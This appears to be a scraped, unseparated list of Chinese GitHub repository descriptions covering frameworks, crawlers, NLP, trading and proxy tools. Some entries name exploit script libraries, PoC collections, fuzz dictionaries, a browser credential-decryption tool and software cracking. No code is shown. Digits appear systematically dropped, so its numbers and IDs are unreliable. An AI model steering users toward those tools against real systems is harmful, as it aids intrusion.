是一站式开源持续测试平台 涵盖测试跟踪 接口测试 性能测试 团队协作等功能 全面兼容 JMeter Postman Swagger 等开源 主流标准 记录各种学习笔记 算法 Java 数据库 并发 下一代Android打包工具 1 个渠道包只需要1 秒钟芋道 mall 商城 基于微服务的思想 构建在 B2C 电商场景下的项目实战 核心技术栈 是 Spring Boot Dubbo 未来 会重构成 Spring Cloud Alibaba Android 万能的等 支持多种Item类型的情况 lanproxy是一个将局域网个人电脑 服务器代理到公网的内网穿透工具 支持tcp流量转发 可支持任何tcp上层协议 访问内网网站 本地支付接口调试 ssh访问 远程桌面 目前市面上提供类似服务的有花生壳 TeamView GoToMyCloud等等 但要使用第三方的公网服务器就必须为第三方付费 并且这些服务都有各种各样的限制 此外 由于数据包会流经第三方 因此对数据安全也是一大隐患 技术交流QQ群 1 6742433 更优雅的驾车体验下载可以很简单 ️ 云阅 一款基于网易云音乐UI 使用玩架构开发的符合Google Material Design的Android客户端开源的 Material Design 豆瓣客户端一款针对系统PopupWindow优化的Popup库 功能强大 支持背景模糊 使用简单 你会爱上他的 PLDroidPlayer 是七牛推出的一款免费的适用于 Android 平台的播放器 SDK 采用全自研的跨平台播放内核 拥有丰富的功能和优异的性能 可高度定制化和二次开发 该项目已停止维护 9 Porn Android 客户端 突破游客每天观看1 次视频的限制 还可以下载视频 ️蓝绿 灰度 路由 限流 熔断 降级 隔离 追踪 流量染色 故障转移一本关于排序算法的 GitBook 在线书籍 十大经典排序算法 多语言实现 多种下拉刷新效果 上拉加载更多 可配置自定义头部广告位完全仿微信的图片选择 并且提供了多种图片加载接口 选择图片后可以旋转 可以裁剪成矩形或圆形 可以配置各种其他的参数SoloPi 自动化测试工具龙果支付系统 roncoo pay 是国内首款开源的互联网支付系统 拥有独立的账户体系 用户体系 支付接入体系 支付交易体系 对账清结算体系 目标是打造一款集成主流支付方式且轻量易用的支付收款系统 满足互联网业务系统打通支付通道实现支付收款和业务资金管理等功能 键盘面板冲突 布局闪动处理方案 咕泡学院实战项目 基于SpringBoot Dubbo构建的电商平台 微服务架构 商城 电商 微服务 高并发 kafka Elasticsearch停车场系统源码 停车场小程序 智能停车 Parking system 功能介绍 ①兼容市面上主流的多家相机 理论上兼容所有硬件 可灵活扩展 ②相机识别后数据自动上传到云端并记录 校验相机唯一id和硬件序列号 防止非法数据录入 ③用户手机查询停车记录详情可自主缴费 支持微信 支付宝 银行接口支付 支持每个停车场指定不同的商户进行收款 支付后出场在免费时间内会自动抬杆 ④支持app上查询附近停车场 导航 可用车位数 停车场费用 优惠券 评分 评论等 可预约车位 ⑤断电断网支持岗亭人员使用app可接管硬件进行停车记录的录入 技术架构 后端开发语言java 框架oauth2 spring 成长路线 但学到不仅仅是Java 业界首个支持渐进式组件化改造的Android组件化开源框架 支持跨进程调用SpringBoot2 从入门到实战 旨在打造在线最佳的 Java 学习笔记 含博客讲解和源码实例 包括 Java SE 和 Java WebJava诊断工具年薪百万互联网架构师课程文档及源码 公开部分 AndroidHttpCapture网络诊断工具 是一款Android手机抓包软件 主要功能包括 手机端抓包 PING DNS TraceRoute诊断 抓包HAR数据上传分享 你也可以看成是Android版的 Fiddler o 这可能是史上功能最全的Java权限认证框架 目前已集成 登录认证 权限认证 分布式Session会话 微服务网关鉴权 单点登录 OAuth2 踢人下线 Redis集成 前后台分离 记住我模式 模拟他人账号 临时身份切换 账号封禁 多账号认证体系 注解式鉴权 路由拦截式鉴权 花式token生成 自动续签 同端互斥登录 会话治理 密码加密 jwt集成 Spring集成 WebFlux集成 Android平台下的富文本解析器 支持Html和Markdown智能图片裁剪框架 自动识别边框 手动调节选区 使用透视变换裁剪并矫正选区 适用于身份证 名片 文档等照片的裁剪 俗名 可垂直跑 可水平跑的跑马灯 学名 可垂直翻 可水平翻的翻页公告 小马哥技术周报 Android Video Player 安卓视频播放器 封装模仿抖音并实现预加载 列表播放 悬浮播放 广告播放 弹幕 重学Java设计模式 是一本互联网真实案例实践书籍 以落地解决方案为核心 从实际业务中抽离出 交易 营销 秒杀 中间件 源码等22个真实场景 来学习设计模式的运用 欢迎关注小傅哥 微信 fustack 公众号 bugstack虫洞栈 博客 bugstack cnmybatis源码中文注释一款开源的GIF在线分享App 乐趣就要和世界分享 MPush开源实时消息推送系统在线云盘 网盘 OneDrive 云存储 私有云 对象存储 h5ai基于Spring Boot 2 x的一站式前后端分离快速开发平台XBoot 微信小程序 Uniapp 前端 Vue iView Admin 后端分布式限流 同步锁 验证码 SnowFlake雪花算法ID 动态权限 数据权限 工作流 代码生成 定时任务 社交账号 短信登录 单点登录 OAuth2开放平台 客服机器人 数据大屏 暗黑模式Guns基于SpringBoot 2 致力于做更简洁的后台管理系统 完美整合项目代码简洁 注释丰富 上手容易 同时Guns包含许多基础模块 用户管理 角色管理 部门管理 字典管理等1 个模块 可以直接作为一个后台管理系统的脚手架 Android 版本更新一个简洁而优雅的Android原生UI框架 解放你的双手 一套完整有效的android组件化方案 支持组件的组件完全隔离 单独调试 集成调试 组件交互 UI跳转 动态加载卸载等功能适用于Java和Android的快速 低内存占用的汉字转拼音库 Codes of my MOOC Course <我在慕课网上的课程 算法与数据结构 示例代码 包括C 和Java版本 课程的更多更新内容及辅助练习也将逐步添加进这个代码仓 Hope Boot 一款现代化的脚手架项目一个简单漂亮的SSM Spring SpringMVC Mybatis 博客系统根据Gson库使用的要求 将JSONObject格式的String 解析成实体B站 哔哩哔哩 Bilibili 自动签到投币工具 每天轻松获取65经验值 支持每日自动投币 银瓜子兑换硬币 领取大会员福利 大会员月底给自己充电等功能 呐 赶快和我一起成为Lv6吧 IJPay 让支付触手可及 封装了微信支付 QQ支付 支付宝支付 京东支付 银联支付 PayPal 支付等常用的支付方式以及各种常用的接口 不依赖任何第三方 mvc 框架 仅仅作为工具使用简单快速完成支付模块的开发 可轻松嵌入到任何系统里 右上角点下小星星 High quality pure Weex demo 网易严选 App 感受 Weex 开发Android 快速实现新手引导层的库 通过简洁链式调用 一行代码实现引导层的显示通过标签直接生成shape 无需再写shape xml 本库是一款基于RxJava2 Retrofit2实现简单易用的网络请求框架 结合android平台特性的网络封装库 采用api链式调用一点到底 集成cookie管理 多种缓存模式 极简https配置 上传下载进度显示 请求错误自动重试 请求携带token 时间戳 签名sign动态配置 自动登录成功后请求重发功能 3种层次的参数设置默认全局局部 默认标准ApiResult同时可以支持自定义的数据结构 已经能满足现在的大部分网络请求 Android BLE蓝牙通信库 基于Flink实现的商品实时推荐系统 flink统计商品热度 放入redis缓存 分析日志信息 将画像标签和实时记录放入Hbase 在用户发起推荐请求后 根据用户画像重排序热度榜 并结合协同过滤和标签两个推荐模块为新生成的榜单的每一个产品添加关联产品 最后返回新的用户列表 播放器基础库 专注于播放视图组件的高复用性和组件间的低耦合 轻松处理复杂业务 图片选择库 单选 多选 拍照 裁剪 压缩 自定义 包括视频选择和录制 DataX集成可视化页面 选择数据源即可一键生成数据同步任务 支持等数据源 批量创建RDBMS数据同步任务 集成开源调度系统 支持分布式 增量同步数据 实时查看运行日志 监控执行器资源 KILL运行进程 数据源信息加密等 Deprecated android 自定义日历控件 支持左右无限滑动 周月切换 标记日期显示 自定义显示效果跳转到指定日期一个通过动态加载本地皮肤包进行换肤的皮肤框架这是RedSpider社区成员原创与维护的Java多线程系列文章 一站式Apache Kafka集群指标监控与运维管控平台快速开发工具类收集 史上最全的开发工具类 欢迎Follow Fork Star后端技术总结 包括Java基础 JVM 数据库 mysql redis 计算机网络 算法 数据结构 操作系统 设计模式 系统设计 框架原理 最佳阅读地址Android源码设计模式分析项目可能是最好的支付SDK 停止维护 组件化综合案例 包含微信新闻 头条视频 美女图片 百度音乐 干活集中营 玩Android 豆瓣读书电影 知乎日报等等模块 架构模式 组件化阿里VLayout 腾讯X5 腾讯bugly 融合开发中需要的各种小案例 开源OA系统 码云GVP Java开源oa 企业OA办公平台 企业OA 协同办公OA 流程平台OA O2OA OA 支持国产麒麟操作系统和国产数据库 达梦 人大金仓 政务OA 军工信息化OA以Spring Cloud Netflix作为服务治理基础 展示基于tcc思想所实现的分布式事务解决方案一个帮助您完成从缩略视图到原视图无缝过渡转变的神奇框架 系统重构与迁移指南 手把手教你分析 评估现有系统 制定重构策略 探索可行重构方案 搭建测试防护网 进行系统架构重构 服务架构重构 模块重构 代码重构 数据库重构 重构后的架构守护版本检测升级 更新 库小说精品屋是一个多平台 web 安卓app 微信小程序 功能完善的屏幕自适应小说漫画连载系统 包含精品小说专区 轻小说专区和漫画专区 包括小说 漫画分类 小说 漫画搜索 小说 漫画排行 完本小说 漫画 小说 漫画评分 小说 漫画在线阅读 小说 漫画书架 小说 漫画阅读记录 小说下载 小说弹幕 小说 漫画自动采集 更新 纠错 小说内容自动分享到微博 邮件自动推广 链接自动推送到百度搜索引擎等功能 Android 徽章控件 致力于打造一款极致体验的 www wanandroid com 客户端 知识和美是可以并存的哦QAQn ≧ ≦ n 从源码层面 剖析挖掘互联网行业主流技术的底层实现原理 为广大开发者 “提升技术深度” 提供便利 目前开放 Spring 全家桶 Mybatis Netty Dubbo 框架 及 Redis Tomcat 中间件等Redis 一站式管理平台 支持集群的监控 安装 管理 告警以及基本的数据操作该项目不再维护 仅供学习参考专注批量推送的小而美的工具 目前支持 模板消息 公众号 模板消息 小程序 微信客服消息 微信企业号 企业微信消息 阿里云短信 阿里大于模板短信 腾讯云短信 云片网短信 E Mail HTTP请求 钉钉 华为云短信 百度云短信 又拍云短信 七牛云短信Android 平台开源天气 App 采用等开源库来实现 SpringBoot 相关漏洞学习资料 利用方法和技巧合集 黑盒安全评估 check listAndroid 权限请求框架 已适配 Android 11微信SDK JAVA 公众平台 开放平台 商户平台 服务商平台 QMQ是去哪儿网内部广泛使用的消息中间件 自2 12年诞生以来在去哪儿网所有业务场景中广泛的应用 包括跟交易息息相关的订单场景 也包括报价搜索等高吞吐量场景 Java 23种设计模式全归纳linux运维监控工具 支持系统信息 内存 cpu 温度 磁盘空间及IO 硬盘smart 系统负载 网络流量 进程等监控 API接口 大屏展示 拓扑图 端口监控 docker监控 日志文件监控 数据可视化 webSSH工具 堡垒机 跳板机 这可能是全网最好用的ViewPager轮播图 简单 高效 一行代码实现循环轮播 一屏三页任意变 指示器样式任你挑 一种简单有效的android组件化方案 支持组件的代码资源隔离 单独调试 集成调试 组件交互 UI跳转 生命周期等完整功能 一个强大 1 % 兼容 支持 AndroidX 支持 Kotlin并且灵活的组件化框架JPress 一个使用 Java 开发的建站神器 目前已经有 1 w 网站使用 JPress 进行驱动 其中包括多个政府机构 2 上市公司 中科院 红 字会等 分布式事务易用的轻量化网络爬虫 Android系统源码分析重构中一款免费的数据可视化工具 报表与大屏设计 类似于excel操作风格 在线拖拽完成报表设计 功能涵盖 报表设计 图形报表 打印设计 大屏设计等 永久免费 秉承“简单 易用 专业”的产品理念 极大的降低报表开发难度 缩短开发周期 节省成本 解决各类报表难题 Android Activity 滑动返回 支持微信滑动返回样式 横屏滑动返回 全屏滑动返回SpringBoot 基础教程 从入门到上瘾 基于2 M5制作 仿微信视频拍摄UI 基于ffmpeg的视频录制编辑Python 1 天从新手到大师 分享 GitHub 上有趣 入门级的开源项目中英文敏感词 语言检测 中外手机 电话归属地 运营商查询 名字推断性别 手机号抽取 身份证抽取 邮箱抽取 中日文人名库 中文缩写库 拆字词典 词汇情感值 停用词 反动词表 暴恐词表 繁简体转换 英文模拟中文发音 汪峰歌词生成器 职业名称词库 同义词库 反义词库 否定词库 汽车品牌词库 汽车零件词库 连续英文切割 各种中文词向量 公司名字大全 古诗词库 IT词库 财经词库 成语词库 地名词库 历史名人词库 诗词词库 医学词库 饮食词库 法律词库 汽车词库 动物词库 中文聊天语料 中文谣言数据 百度中文问答数据集 句子相似度匹配算法集合 bert资源 文本生成 摘要相关工具 cocoNLP信息抽取 2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票结巴中文分词 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理微信个人号接口 微信机器人及命令行微信 三十行即可自定义个人号机器人 数据结构和算法必知必会的5 个代码实现JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 飞桨 核心框架 深度学习 机器学习高性能单机 分布式训练和跨平台部署 中国程序员容易发音错误的单词微信 跳一跳 Python 辅助 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等Python爬虫代理IP池 proxy pool wtfpython的中文翻译 施工结束 能力有限 欢迎帮我改进翻译提供多款 Shadowrocket 规则 带广告过滤功能 用于 iOS 未越狱设备选择性地自动翻墙 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 walle 瓦力 Devops开源项目代码部署平台一些非常有趣的python爬虫例子 对新手比较友好 主要爬取淘宝 天猫 微信 豆瓣 QQ等网站机器学习相关教程1 Chinese Word Vectors 上百种预训练中文词向量 网易云音乐命令行版本一款入门级的人脸 视频 文字检测以及识别的项目 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵微信助手 1 每日定时给好友 女友 发送定制消息 2 机器人自动回复好友 3 群助手功能 例如 查询垃圾分类 天气 日历 电影实时票房 快递物流 PM2 5等 二维码生成器 支持 gif 动态图片二维码 阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构 book 中华新华字典数据库 包括歇后语 成语 词语 汉字 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? 迁移学习python爬虫教程系列 从 到1学习python爬虫 包括浏览器抓包 手机APP抓包 如 fiddler mitmproxy 各种爬虫涉及的模块的使用 如等 以及IP代理 验证码识别 Mysql MongoDB数据库的python使用 多线程多进程爬虫的使用 css 爬虫加密逆向破解 JS爬虫逆向 分布式爬虫 爬虫项目实战实例等Python脚本 模拟登录知乎 爬虫 操作excel 微信公众号 远程开机越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 人人影视bot 完全对接人人影视全部无删减资源莫烦Python 中文AI教学飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 轻量级人脸检测模型 百度云 百度网盘Python客户端 Python进阶 Intermediate Python 中文版 提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案INFO SPIDER 是一个集众多数据源于一身的爬虫工具箱 旨在安全快捷的帮助用户拿回自己的数据 工具代码开源 流程透明 支持数据源包括GitHub QQ邮箱 网易邮箱 阿里邮箱 新浪邮箱 Hotmail邮箱 Outlook邮箱 京东 淘宝 支付宝 中国移动 中国联通 中国电信 知乎 哔哩哔哩 网易云音乐 QQ好友 QQ群 生成朋友圈相册 浏览器浏览历史 123 6 博客园 CSDN博客 开源中国博客 简书 中文BERT wwm系列模型 Python入门网络爬虫之精华版中文 iOS Mac 开发博客列表Python网页微信APIpkuseg多领域中文分词工具自己动手做聊天机器人教程基于搜狗微信搜索的微信公众号爬虫接口用深度学习对对联 v2ray xray多用户管理部署程序各种脚本 关于 虾米 xiami com 百度网盘 pan baidu com 115网盘 115 com 网易音乐 music 163 com 百度音乐 music baidu com 36 网盘 云盘 yunpan cn 视频解析 flvxz com bt torrent ↔ magnet ed2k 搜索 tumblr 图片下载 unzip查看被删的微信好友定投改变命运 让时间陪你慢慢变富 onregularinvesting com 机器学习实战 Python3 kNN 决策树 贝叶斯 逻辑回归 SVM 线性回归 树回归Statistical learning methods 统计学习方法 第2版 李航 笔记 代码 notebook 参考文献 Errata lihang stock 股票系统 使用python进行开发 基于深度学习的中文语音识别系统京东抢购助手 包含登录 查询商品库存 价格 添加 清空购物车 抢购商品 下单 查询订单等功能莫烦Python 中文AI教学机器学习算法python实现新浪微博爬虫 用python爬取新浪微博数据的算法以及通用生成对抗网络图像生成的理论与实践研究 青岛大学开源 Online Judge QQ群 49671 125 admin qduoj comWeRoBot 是一个微信公众号开发框架 基于Django的博客系统 中文近义词 聊天机器人 智能问答工具包开源财经数据接口库巡风是一款适用于企业内网的漏洞快速应急 巡航扫描系统 番号大全 解决电脑 手机看电视直播的苦恼 收集各种直播源 电视直播网站知识图谱构建 自动问答 基于kg的自动问答 以疾病为中心的一定规模医药领域知识图谱 并以该知识图谱完成自动问答与分析服务 出处本地电影刮削与整理一体化解决方案自动化运维平台 CMDB CD DevOps 资产管理 任务编排 持续交付 系统监控 运维管理 配置管理 wukong robot 是一个简单 灵活 优雅的中文语音对话机器人 智能音箱项目 还可能是首个支持脑机交互的开源智能音箱项目 获取斗鱼 虎牙 哔哩哔哩 抖音 快手等 55 个直播平台的真实流媒体地址 直播源 和弹幕 直播源可在 PotPlayer flv js 等播放器中播放 宝塔Linux面板 简单好用的服务器运维面板农业知识图谱 AgriKG 农业领域的信息检索 命名实体识别 关系抽取 智能问答 辅助决策CODO是一款为用户提供企业多混合云 一站式DevOps 自动化运维 完全开源的云管理平台 自动化运维平台Web Pentesting Fuzz 字典 一个就够了 计算机网络 自顶向下方法 原书第6版 编程作业 Wireshark实验文档的翻译和解答 中文古诗自动作诗机器人 屌炸天 基于tensorflow1 1 api 正在积极维护升级中 快star 保持更新 PyQt Examples PyQt各种测试和例子 PyQt4 PyQt5海量中文预训练ALBERT模型汉字转拼音 pypinyin 数据结构与算法 leetcode lintcode题解 Pytorch模型训练实用教程 中配套代码实时获取新浪 腾讯 的免费股票行情 集思路的分级基金行情Python爬虫 Flask网站 免费ShadowSocks账号 ssr订阅 json 订阅实战 多种网站 电商数据爬虫 包含 淘宝商品 微信公众号 大众点评 企查查 招聘网站 闲鱼 阿里任务 博客园 微博 百度贴吧 豆瓣电影 包图网 全景网 豆瓣音乐 某省药监局 搜狐新闻 机器学习文本采集 fofa资产采集 汽车之家 国家统计局 百度关键词收录数 蜘蛛泛目录 今日头条 豆瓣影评 携程 小米应用商店 安居客 途家民宿 ️ ️ ️ 微信爬虫展示项目 SQL 审核查询平台团子翻译器 个人兴趣制作的一款基于OCR技术的翻译器自动化运维平台 代码及应用部署CI CD 资产管理CMDB 计划任务管理平台 SQL审核 回滚 任务调度 站内WIKISource Code Security Audit 源代码安全审计 Exphub 漏洞利用脚本库 包括的漏洞利用脚本 最新添加我的自学笔记 终身更新 当前专注System基础 MLSys 使用机器学习算法完成对123 6验证码的自动识别Python 开源项目之 自学编程之路 保姆级教程 AI实验室 宝藏视频 数据结构 学习指南 机器学习实战 深度学习实战 网络爬虫 大厂面经 程序人生 资源分享 中文文本分类基于pytorch 开箱即用 根据网易云音乐的歌单 下载flac无损音乐到本地腾讯优图高精度双分支人脸检测器文本纠错等模型实现 开箱即用 3 天掌握量化交易 持续更新 中文分词 词性标注 命名实体识别 依存句法分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁 自然语言处理中文公开聊天语料库豆瓣读书的爬虫总结梳理自然语言处理工程师 NLP 需要积累的各方面知识 包括面试题 各种基础知识 工程能力等等 提升核心竞争力中文自然语言处理数据集 平时做做实验的材料 欢迎补充提交合并 一个可以自己进行训练的中文聊天机器人 根据自己的语料训练出自己想要的聊天机器人 可以用于智能客服 在线问答 智能聊天等场景 目前包含seq2seq seqGAN版本 tf2 版本 pytorch版本 股票量化框架 支持行情获取以及交易微博爬虫 持续维护 Bilibili 用户爬虫 deepin源移植 Debian Ubuntu上最快的QQ 微信安装方式 新闻网页正文通用抽取器 Beta 版 flag on post 自动更新域名解析到本机IP 支持dnspod 阿里DNS CloudFlare 华为云 DNSCOM 本项目针对字符型图片验证码 使用tensorflow实现卷积神经网络 进行验证码识别 owllook 小说搜索引擎中文语言理解测评基准python中文库 python人工智能大数据自动化接口测试开发 书籍下载及python库汇总china testing github io 2 19新型冠状病毒疫情时间序列数据仓库Python 黑魔法手册单阶段通用目标检测器一个拍照做题程序 输入一张包含数学计算题的图片 输出识别出的数学计算式以及计算结果 video download B站视频下载中文命名实体识别 TensorFlow Python 中文数据结构和算法教程 验证码识别 训练Python爬虫实战 模拟登陆各大网站 包含但不限于 滑块验证 拼多多 美团 百度 bilibili 大众点评 淘宝 如果喜欢请start ️学无止下载器 慕课下载器 Mooc下载 慕课网下载 中国大学下载 爱课程下载 网易云课堂下载 学堂在线下载 超星学习通下载 支持视频 课件同时下载一个高级web目录 文件扫描工具 功能将会强于DirBuster Dirsearch cansina 御剑 搜索所有中文NLP数据集 附常用英文NLP数据集中文实体识别与关系提取2 19新型冠状病毒疫情实时爬虫及github release archive以及项目文件的加速项目安卓应用安全学习抓取大量免费代理 ip 提取有效 ip 使用RoBERTa中文预训练模型 RoBERTa for Chinese 用于训练中英文对话系统的语料库敏感词过滤的几种实现 某1w词敏感词库简单易用的Python爬虫框架 QQ交流群 59751 56 使用Bert ERNIE 进行中文文本分类为 CSAPP 视频课程提供字幕 翻译 PPT Lab PyTorch 官方中文教程包含 6 分钟快速入门教程 强化教程 计算机视觉 自然语言处理 生成对抗网络 强化学习 欢迎 Star Fork 兜哥出品 <一本开源的NLP入门书籍 图像翻译 条件GAN AI绘画用Resnet1 1 GPT搭建一个玩王者荣耀的AI各种漏洞poc Exp的收集或编写斗地主AIVulmap 是一款 web 漏洞扫描和验证工具 可对 webapps 进行漏洞扫描 并且具备漏洞验证功能提供超過 5 個金融資料 台股為主 每天更新 finmind github io 数据接口 百度 谷歌 头条 微博指数 宏观数据 利率数据 货币汇率 千里马 独角兽公司 新闻联播文字稿 影视票房数据 高校名单 疫情数据 PyOne 一款给力的onedrive文件管理 分享程序 使用开发的用于迅速搭建并使用 WebHook 进行自动化部署和运维 支持 Github GitLab Gogs GitOsc 跟我一起写Makefile重制版 python自动化运维 技术与最佳实践 书中示例及案例源码自然语言处理实验 sougou数据集 TF IDF 文本分类 聚类 词向量 情感识别 关系抽取等微信公众平台 Python 开发包 DEPRECATED Weblogic一键漏洞检测工具 V1 5 更新时间 2 2 73 完备优雅的微信公众号接口 原生支持同步 协程使用 本程序旨在为安全应急响应人员对Linux主机排查时提供便利 实现主机侧Checklist的自动全面化检测 根据检测结果自动数据聚合 进行黑客攻击路径溯源 PyCharm 中文指南 安装 破解 效率 技巧类似按键精灵的鼠标键盘录制和自动化操作 模拟点击和键入GPT2 for Chinese chitchat 用于中文闲聊的GPT2模型 实现了DialoGPT的MMI思想 中华人民共和国国家标准 GB T 226 行政区划代码基于python的量化交易平台中文语音识别基于 OneBot 标准的 Python 异步 QQ 机器人框架Real World Masked Face Dataset 口罩人脸数据集 Vulfocus 是一个漏洞集成平台 将漏洞环境 docker 镜像 放入即可使用 开箱即用 谷歌 百度 必应图片下载 基于方面的情感分析 使用PyTorch实现 深度学习与计算机视觉 配套代码ART环境下自动化脱壳方案利用网络上公开的数据构建一个小型的证券知识图谱 知识库中文资源精选 官方网站 安装教程 入门教程 视频教程 实战项目 学习路径 QQ群 167122861 公众号 磐创AI 微信群二维码 www tensorflownews com Pre Trained Chinese XLNet 中文XLNet预训练模型 新浪微博Python SDK有关burpsuite的插件 非商店 文章以及使用技巧的收集 此项目不再提供burpsuite破解文件 如需要请在博客mrxn net下载Python3编写的CMS漏洞检测框架基于django的工作流引擎 工单 ️ 哔哩云 不支持任意文件的全速上传与下载微信SDK 包括微信支付 微信公众号 微信登陆 微信消息处理等中文自然语言理解堡垒机 云桌面自动化运维 审计 录像 文件管理 sftp上传 实时监控 录像回放 网页版rz sz上传下载 动态口令 django转换中国知网 CAJ 格式文献为 PDF 佛系转换 成功与否 皆是玄学 HanLP作者的新书 自然语言处理入门 详细笔记 业界良心之作 书中不是枯燥无味的公式罗列 而是用白话阐述的通俗易懂的算法模型 从基本概念出发 逐步介绍中文分词 词性标注 命名实体识别 信息抽取 文本聚类 文本分类 句法分析这几个热门问题的算法原理与工程实现 Python3 网络爬虫实战 部分含详细教程 猫眼 腾讯视频 豆瓣 研招网 微博 笔趣阁小说 百度热点 B站 CSDN 网易云阅读 阿里文学 百度股票 今日头条 微信公众号 网易云音乐 拉勾 有道 unsplash 实习僧 汽车之家 英雄联盟盒子 大众点评 链家 LPL赛程 台风 梦幻西游 阴阳师藏宝阁 天气 牛客网 百度文库 睡前故事 知乎 Wish微信公众号文章的爬虫 Python Web开发实战 书中源码一直可用的GoAgent 会定时扫描可用的google gae ip 提供可自动化获取ip运行的版本层剪枝 通道剪枝 知识蒸馏 中文命名实体识别 包括多种模型 HMM CRF BiLSTM BiLSTM CRF的具体实现 The Way to Go 中文译本 中文正式名 Go 入门指南 谢谢 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端 Go语言高级编程 开源图书 涵盖CGO Go汇编语言 RPC实现 Protobuf插件实现 Web框架实现 分布式系统等高阶主题 完稿 是一个跨平台的强加密无特征的代理软件 零配置 算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 百度网盘不限速客户端 golang qt5 跨平台图形界面是golang实现的高性能http https websocket tcp socks5代理服务器 支持内网穿透 链式代理 通讯加密 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 支持多家云存储的云盘系统 这里是写博客的地方 Halfrost Field 冰霜之地Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 分布式爬虫管理平台 支持任何语言和框架Golang标准库 对于程序员而言 标准库与语言本身同样重要 它好比一个百宝箱 能为各种常见的任务提供完美的解决方案 以示例驱动的方式讲解Golang的标准库 天用Go动手写 从零实现系列是一个高性能且低损耗的 goroutine 池 有 有 设计模式 Golang实现 研磨设计模式 读书笔记Golang实现的基于beego框架的接口在线文档管理系统高性能开源RTSP流媒体服务器 基于go语言研发 维护和优化 RTSP推模式转发 RTSP拉模式转发 是一个高性能 轻量级 非阻塞的事件驱动 Go 网络框架 基于Gin Vue Element UI的前后端分离权限管理系统脚手架 包含了 多租户的支持 基础用户管理功能 jwt鉴权 代码生成器 RBAC资源控制 表单构建 定时任务等 3分钟构建自己的中后台项目 文档蓝鲸智云配置平台 BlueKing CMDB 今日热榜 一个获取各大热门网站热门头条的聚合网站 使用Go语言编写 多协程异步快速抓取信息 预览 mo fish一条命令离线安装高可用kubernetes 3min装完 7 M 1 年证书 生产环境稳如老狗阿里巴巴开源的一款简单易用 功能强大的混沌实验注入工具 Go语言四十二章经 详细讲述Go语言规范与语法细节及开发中常见的误区 通过研读标准库等经典代码设计模式 启发读者深刻理解Go语言的核心思维 进入Go语言开发的更高阶段 ️一个轻巧的网络混淆代理 基于Golang轻量级TCP并发服务器框架定时任务管理系统KubeOperator 是一个开源的轻量级 Kubernetes 发行版 专注于帮助企业规划 部署和运营生产级别的 K8s 集群 本系统是集工单统计 任务钩子 权限管理 灵活配置流程与模版等等于一身的开源工单系统 当然也可以称之为工作流引擎 致力于减少跨部门之间的沟通 自动任务的执行 提升工作效率与工作质量 减少不必要的工作量与人为出错率 Go实现的Trojan代理 支持多路复用 路由功能 CDN中转 Shadowsocks混淆插件 多平台 无依赖 Go语法树入门 开启自制编程语言和编译器之旅 开源免费图书 Go语言进阶 掌握抽象语法树 Go语言AST 凹语言 一款可全平台运行的浏览器数据导出解密工具 Golang相关 审稿进度8 % Go语法 Go并发思想 Go与web开发 Go微服务设施等Jupiter是斗鱼开源的面向服务治理的Golang微服务框架Elasticsearch 可视化DashBoard 支持Es监控 实时搜索 Index template快捷替换修改 索引列表信息查看 SQL converts to DSL等 从问题切入 串连 Go 语言相关的所有知识 融会贯通 golang design go questionsWeChat SDK for Go 微信SDK 简单 易用 go fastdfs 是一个简单的分布式文件系统 私有云存储 具有无中心 高性能 高可靠 免维护等优点 支持断点续传 分块上传 小文件合并 自动同步 自动修复 Mastering GO 中文译本 玩转 GO 云原生且易用的应用管理平台 Go Web 基础 是一套针对 Google 出品的 Go 语言的视频语音教程 主要面向完成 Go 编程基础 教程后希望进一步了解有关 Go Web 开发的学习者 中文名 悟空 API 网关 是一个基于 Golang开发的微服务网关 能够实现高性能 HTTP API 转发 服务编排 多租户管理 API 访问权限控制等目的 拥有强大的自定义插件系统可以自行扩展 并且提供友好的图形化配置界面 能够快速帮助企业进行 API 服务治理 提高 API 服务的稳定性和安全性 集合多家 API 的新一代图床MIT课程 Distributed Systems 学习和翻译Go语言圣经中文版 只接收PR Issue请提交到golang china gopl zh trojan多用户管理部署程序 支持web页面管理BookStack 基于MinDoc 使用Beego开发的在线文档管理系统 功能类似Gitbook和看云 weixin wechat 微信公众平台 微信企业号 微信商户平台 微信支付 go golang sdk 蓝眼云盘 Eyeblue Cloud Storage 语言高性能编程 Go 语言陷阱 Gotchas Traps 使用 